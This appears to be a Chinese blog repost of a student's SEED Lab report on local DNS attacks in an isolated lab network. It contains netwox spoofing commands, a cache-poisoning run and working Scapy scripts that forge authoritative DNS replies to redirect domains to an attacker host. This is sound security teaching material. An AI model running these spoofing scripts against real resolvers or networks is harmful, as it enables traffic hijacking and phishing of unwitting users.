欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

seed lab 2020 Local DNS Attack Report

程序员文章站 2024-01-17 12:00:10
...

实验环境:

User Machine’s IP : 10.0.2.8
Attacker’s IP : 10.0.2.7
Local DNS Server : 10.0.2.4

Task 1

打开/etc/resolvconf/resolv.conf.d/head文件,然后添加将10.0.2.4作为DNS服务器的记录,并重启加载配置使记录生效:

$ sudo vim /etc/resolvconf/resolv.conf.d/head
nameserver 10.0.2.4
$ sudo resolvconf -u

查找dns server设置成功的证据:

$ dig www.baidu.com

在wireshark中看到10.0.2.8主机向10.0.2.4发送了dns请求,然后10.0.2.4作为本地dns主机代替10.0.2.8向199.7.83.42发送了dns请求报文:
seed lab 2020 Local DNS Attack Report

Task 2

step 1 & step 2 & step 3

因为主机中的option文件已经按照要求设置好,我们只需要重启dns服务器即可

step 4
$ ping www.baidu.com

在wireshark中观察到10.0.2.4向10.0.2.8返回了dns标准记录:
seed lab 2020 Local DNS Attack Report

Task 3

step1 & step 2 & step3

在本地dns服务器中的下面三个文件中存入实验指南中要求的记录:

$ sudo vim /etc/bind/named.conf
$ sudo vim /etc/bind/example.com.db
$ sudo vim /etc/bind/192.168.0.db
step 4

在用户主机上执行:

$ dig www.example.com

可以看到dns服务器返回了www.example.com的记录信息

seed lab 2020 Local DNS Attack Report

Task 4

假定我们攻破了用户主机,我们在该主机上添加下面的记录:

$ sudo vim /etc/hosts
10.0.2.7 www.bank32.com

分别执行:

$ dig www.bank32.com
$ ping www.bank32.com

dig命令的结果没有受到影响:

seed lab 2020 Local DNS Attack Report

ping命令的结果受到影响,直接显示了对应ip是10.0.2.7:

seed lab 2020 Local DNS Attack Report

Task 5

我们的目标是将www.example.net的地址定向到10.0.2.7,为此我们用netwox返回ns.example.com到10.0.2.7的映射记录:

$ sudo netxow 105 --hostname www.example.net --hostnameip "10.0.2.7" --authns "ns.example.net" --authnsip "10.0.2.15" --device "enp0s3" --filter "src host 10.0.2.8"

可以看到dig的结果受到影响:

seed lab 2020 Local DNS Attack Report

Task 6

相比于每次攻击用户主机发出的dns报文的方法,直接攻击dns服务器可能是更好的选择。而由于dns服务器每次在遇到需要解析的主机名时都会先查看缓存,如果没有缓存再询问,所以我们选择攻击dns服务器的缓存。

首先我们清空dns服务器的缓存:

$ sudo rndc flush

在攻击主机执行:

$ sudo netwox 105 --hostname www.example.net --hostnameip "10.0.2.7" --authns "ns.example.net" --authnsip "10.0.2.15" --device "enp0s3" --filter "src host 10.0.2.4" --ttl 600 --spoofip raw

然后在用户主机执行:

$ dig www.example.net

我们通过dns服务器的wireshark观察到ip为10.0.2.7的攻击主机为dns服务器返回了dns应答报文

seed lab 2020 Local DNS Attack Report

在dns服务器执行(记录太多通过grep查找):

$ sudo rndc dumpdb -cache
$ sudo cat /var/cache/bind/dump.db |grep example

看到添加了ns.example.com的记录:

seed lab 2020 Local DNS Attack Report

Task 7

根据需求编写代码:

from scapy.all import *
def spoof_dns(pkt):
        if (DNS in pkt and b'www.example.net' in pkt[DNS].qd.qname):
                IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
                UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='10.0.2.7')
                NSsec1 = DNSRR(rrname='example.net', type='NS',ttl=259200, rdata='attacker32.com')
                Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A',ttl=259200, rdata='10.0.2.15')

                DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,
                     ancount=1,nscount=1,arcount=1,an=Anssec, ns=NSsec1, ar=Addsec1)

                spoofpkt = IPpkt/UDPpkt/DNSpkt
                send(spoofpkt)

pkt = sniff(filter='udp and dst port 53', prn=spoof_dns)

用户端执行:

$ dig www.example.net

看到结果已经被修改,并且example.net域名下的地址都指向ns.attacker32.com域名

seed lab 2020 Local DNS Attack Report

我们加载新的cache,看到attacker32.com.已经被当作权威域名:

seed lab 2020 Local DNS Attack Report

接下来我们试图在用户主机*问example.net域名下的地址hello.example.com:

$ dig hello.example.net

在wireshark上观察到dns服务器试图向attack32.com询问hello.example.net的ip地址,说明我们的攻击成功:

seed lab 2020 Local DNS Attack Report

Task 8

根据要求再增加一条ns记录:

from scapy.all import *
def spoof_dns(pkt):
        if (DNS in pkt and b'www.example.net' in pkt[DNS].qd.qname):
                IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
                UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='10.0.2.7')
                NSsec1 = DNSRR(rrname='example.net', type='NS',ttl=259200, rdata='attacker32.com')
                NSsec2 = DNSRR(rrname='google.com', type='NS',ttl=259200, rdata='attacker32.com')
                Addsec1 = DNSRR(rrname='ns.attacker32.com', type='A',ttl=259200, rdata='10.0.2.15')

                DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,ancount=1,nscount=2,arcount=1,an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1)

                spoofpkt = IPpkt/UDPpkt/DNSpkt
                send(spoofpkt)

pkt = sniff(filter='udp and dst port 53', prn=spoof_dns)

可以看到增加了google.com的ns记录:

seed lab 2020 Local DNS Attack Report

Task 9

增加两条附加记录:

from scapy.all import *
def spoof_dns(pkt):
        if (DNS in pkt and b'www.example.net' in pkt[DNS].qd.qname):
                IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
                UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

                Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='10.0.2.7')
                NSsec1 = DNSRR(rrname='example.net', type='NS',ttl=259200, rdata='attacker32.com')
                NSsec2 = DNSRR(rrname='example.net', type='NS',ttl=259200, rdata='ns.example.net')
                Addsec1 = DNSRR(rrname='attacker32.com', type='A',ttl=259200, rdata='1.2.3.4')
                Addsec2 = DNSRR(rrname='ns.example.net', type='A',ttl=259200, rdata='5.6.7.8')
                Addsec3 = DNSRR(rrname='www.facebook.com', type='A',ttl=259200, rdata='3.4.5.6')

                DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1,ancount=1,nscount=2,arcount=3,an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2/Addsec3)

                spoofpkt = IPpkt/UDPpkt/DNSpkt
                send(spoofpkt)

pkt = sniff(filter='udp and dst port 53', prn=spoof_dns)

可以看到记录发生了改变:

seed lab 2020 Local DNS Attack Report

相关标签: seedlab